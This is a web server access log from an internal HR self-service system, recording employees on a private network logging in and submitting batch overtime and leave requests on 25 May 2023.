192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:54 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [25/May/2023:08:33:54 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.161 - - [25/May/2023:08:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.161 - - [25/May/2023:08:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:47:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.161 - - [25/May/2023:08:47:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:47:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.161 - - [25/May/2023:08:47:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:47:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:47:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.161 - - [25/May/2023:08:47:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081
192.168.11.161 - - [25/May/2023:08:47:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.161 - - [25/May/2023:08:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:48:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20808218338278217 HTTP/1.1" 200 8420 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:48:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20808218338278217 HTTP/1.1" 200 8420
192.168.11.161 - - [25/May/2023:08:48:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20808218338278217 HTTP/1.1" 200 11245
192.168.11.161 - - [25/May/2023:08:48:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20808218338278217 HTTP/1.1" 200 11245 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20808218338278217" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:48:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4057
192.168.11.161 - - [25/May/2023:08:48:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4057 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:48:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:48:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.161 - - [25/May/2023:08:49:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.030536767047521174 HTTP/1.1" 200 8420 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:49:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.030536767047521174 HTTP/1.1" 200 8420
192.168.11.161 - - [25/May/2023:08:49:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.030536767047521174 HTTP/1.1" 200 11245 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.030536767047521174" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:49:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.030536767047521174 HTTP/1.1" 200 11245
192.168.11.161 - - [25/May/2023:08:49:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.161 - - [25/May/2023:08:49:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.200 - - [25/May/2023:08:50:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.200 - - [25/May/2023:08:50:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:50:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:50:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.200 - - [25/May/2023:08:51:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.200 - - [25/May/2023:08:51:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.200 - - [25/May/2023:08:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081
192.168.11.200 - - [25/May/2023:08:51:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.786105941860296 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.786105941860296 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:51:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.786105941860296 HTTP/1.1" 200 10995 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.786105941860296" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:51:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.786105941860296 HTTP/1.1" 200 10995
192.168.11.200 - - [25/May/2023:08:52:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:52:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.200 - - [25/May/2023:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:52:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8742046431801513 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:52:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8742046431801513 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:52:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8742046431801513 HTTP/1.1" 200 16818
192.168.11.200 - - [25/May/2023:08:52:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8742046431801513 HTTP/1.1" 200 16818 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8742046431801513" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:52:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:52:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:08:52:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:08:52:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:53:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:53:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.71 - - [25/May/2023:08:53:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:08:53:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081
192.168.12.71 - - [25/May/2023:08:53:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.71 - - [25/May/2023:08:53:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:53:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4474 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:53:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4474
192.168.11.200 - - [25/May/2023:08:53:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:53:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.200 - - [25/May/2023:08:54:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6916974907959592 HTTP/1.1" 200 8816 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:54:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6916974907959592 HTTP/1.1" 200 8816
192.168.11.200 - - [25/May/2023:08:54:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6916974907959592 HTTP/1.1" 200 10989 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6916974907959592" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:54:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6916974907959592 HTTP/1.1" 200 10989
192.168.11.200 - - [25/May/2023:08:54:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:54:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.200 - - [25/May/2023:08:54:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.200 - - [25/May/2023:08:54:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
